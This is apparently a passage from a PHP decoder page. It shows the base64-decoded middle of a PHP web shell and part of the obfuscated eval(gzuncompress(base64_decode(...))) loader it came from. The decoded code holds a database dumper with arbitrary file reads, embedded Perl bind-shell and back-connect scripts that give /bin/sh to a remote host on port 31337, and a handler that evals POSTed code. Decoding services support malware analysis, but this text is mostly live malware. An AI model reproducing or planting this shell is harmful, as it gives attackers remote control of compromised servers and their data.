ZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsNCgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KCQkJCWNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KCQkJCWNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQoJCQkJY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCgkJCQljYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQoJCQl9DQoJCQkkZGItPmxpc3REYnMoKTsNCgkJCWVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7DQoJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgew0KCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KCQkJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7DQoJCQl9DQoJCQllY2hvICc8L3NlbGVjdD4nOw0KCQl9DQoJCWVsc2UgZWNobyAkdG1wOw0KCX1lbHNlDQoJCWVjaG8gJHRtcDsNCgllY2hvICI8L3RkPg0KCQkJCTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4NCgkJCTwvdHI+DQoJCTwvdGFibGU+DQoJCTxzY3JpcHQ+DQogICAgICAgICAgICBzX2RiPSciLkBhZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7DQogICAgICAgICAgICBmdW5jdGlvbiBmcyhmKSB7DQogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMSkgZi5wMS52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMikgZi5wMi52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoJCQlmdW5jdGlvbiBzdCh0LGwpIHsNCgkJCQlkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7DQoJCQkJZC5zZi5wMi52YWx1ZSA9IHQ7DQogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsNCgkJCQlkLnNmLnN1Ym1pdCgpOw0KCQkJfQ0KCQkJZnVuY3Rpb24gaXMoKSB7DQoJCQkJZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkNCgkJCQkJZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkID0gIWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsNCgkJCX0NCgkJPC9zY3JpcHQ+IjsNCglpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7DQoJCWVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7DQoJCQlpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7DQoJCQkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOw0KCQkJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOw0KCQkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7DQoJCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOw0KCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7DQoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2JyPjxicj4iOw0KCQkJCX0NCgkJCQllY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48YnI+RmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOw0KCQkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsNCgkJCQkJJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddPyRfUE9TVFsncDMnXToxOw0KCQkJCQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOw0KCQkJCQkkbnVtID0gJGRiLT5mZXRjaCgpOw0KCQkJCQkkcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddID4gMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5OZXh0ICZndDs8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07DQoJCQkJCWlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQ0KCQkJCQkJJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7DQoJCQkJCWVjaG8gIjxicj48YnI+IjsNCgkJCQl9DQoJCQkJaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCgkJCQkJJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsNCgkJCQkJaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7DQoJCQkJCQkkdGl0bGUgPSBmYWxzZTsNCgkJCQkJCWVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7DQoJCQkJCQkkbGluZSA9IDE7DQoJCQkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkJew0KCQkJCQkJCWlmKCEkdGl0bGUpCXsNCgkJCQkJCQkJZWNobyAnPHRyPic7DQoJCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpDQoJCQkJCQkJCQllY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7DQoJCQkJCQkJCXJlc2V0KCRpdGVtKTsNCgkJCQkJCQkJJHRpdGxlPXRydWU7DQoJCQkJCQkJCWVjaG8gJzwvdHI+PHRyPic7DQoJCQkJCQkJCSRsaW5lID0gMjsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOw0KCQkJCQkJCSRsaW5lID0gJGxpbmU9PTE/MjoxOw0KCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsNCgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpDQoJCQkJCQkJCQllY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7DQoJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAnPC90cj4nOw0KCQkJCQkJfQ0KCQkJCQkJZWNobyAnPC90YWJsZT4nOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddICE9ICdsb2FkZmlsZScpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOw0KCQkJCWVjaG8gIjwvdGQ+PC90cj4iOw0KCQkJfQ0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4iOw0KICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpIHsNCiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOw0KICAgICAgICAgICAgfQ0KCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7DQoJCQkJJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7DQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOw0KCQkJfQ0KCX0gZWxzZSB7DQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOw0KICAgIH0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJQk9GRkhlYWRlcigpOw0KCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KCSRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgllY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYnBwJyx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4NCgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaCBbcGVybF08L3NwYW4+PGJyLz4NCglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPg0KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4NCgk8c3Bhbj5CYWNrLWNvbm5lY3QgIFtwZXJsXTwvc3Bhbj48YnIvPg0KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPg0KCTwvZm9ybT48YnI+IjsNCglpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7DQoJCWZ1bmN0aW9uIGNmKCRmLCR0KSB7DQoJCQkkdyA9IEBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7DQoJCQlpZigkdyl7DQoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpOw0KCQkJCUBmY2xvc2UoJHcpOw0KCQkJfQ0KCQl9DQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgew0KCQkJY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRfcCk7DQoJCQkkb3V0ID0gQk9GRkV4KCJwZXJsIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuQk9GRkV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsNCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KCQkJJG91dCA9IEJPRkZFeCgicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuQk9GRkV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblJDKCkgew0KCWlmKCFAJF9QT1NUWydwMSddKSB7DQoJCSRhID0gYXJyYXkoDQoJCQkidW5hbWUiID0+IHBocF91bmFtZSgpLA0KCQkJInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksDQoJCQkiQk9GRl92ZXJzaW9uIiA9PiBCT0ZGX1ZFUlNJT04sDQoJCQkic2FmZW1vZGUiID0+IEBpbmlfZ2V0KCdzYWZlX21vZGUnKQ0KCQkpOw0KCQllY2hvIHNlcmlhbGl6ZSgkYSk7DQoJfSBlbHNlIHsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCX0NCn0NCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQ0KCWlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkNCgkJJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247DQoJZWxzZQ0KCQkkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsNCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApDQoJY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7DQpleGl0Ow=='));
?>          

Did this file decode correctly?

Original Code


eval(gzuncompress(base64_decode("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